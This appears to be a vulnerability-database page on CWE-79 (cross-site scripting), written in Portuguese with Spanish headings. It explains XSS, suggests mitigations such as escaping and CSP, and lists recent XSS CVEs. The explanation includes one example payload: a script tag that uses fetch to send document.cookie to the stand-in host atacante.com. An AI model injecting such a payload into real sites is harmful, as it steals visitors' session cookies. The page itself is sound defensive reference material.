Fallos del tipo CWE-79

30.189 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-0398MEDIUMlongpi1 warehouse Backend updateInport cross site scriptingEPSS 0.3%CVE-2024-51872MEDIUMWordPress Luzuk Testimonials plugin <= 0.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-73731MEDIUMUnauthenticated Reflected Cross-Site Scripting (XSS) Vulnerability in HPE Networking Fabric Composer Web-Based Management InterfaceEPSS 0.3%CVE-2023-51674MEDIUMWordPress Advanced Access Manager Plugin <= 6.9.18 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-46943MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46953MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-22361HIGHWordPress Opentracker Analytics Plugin <= 1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23623HIGHWordPress Contact Form 7 – CCAvenue Add-on plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51906MEDIUMWordPress RSV 360 View plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-22843HIGHStored Cross-Site Scripting (XSS) in Threat Intelligence rules in Guardian/CMC before 22.6.2EPSS 0.3%CVE-2025-47072MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51865MEDIUMWordPress Simple Social Share Block plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-12495MEDIUMBootstrap Blocks for WP Editor v2 <= 2.5.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-34381MEDIUMWordPress PropertyHive plugin <= 2.0.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46910MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2023-52194MEDIUMWordPress oEmbed Gist Plugin <= 4.9.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-22314HIGHWordPress Food Store plugin <= 1.5.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51403MEDIUMWordPress Restaurant Reservations Plugin <= 1.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-51877MEDIUMWordPress SV Forms plugin <= 2.0.05 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46899MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%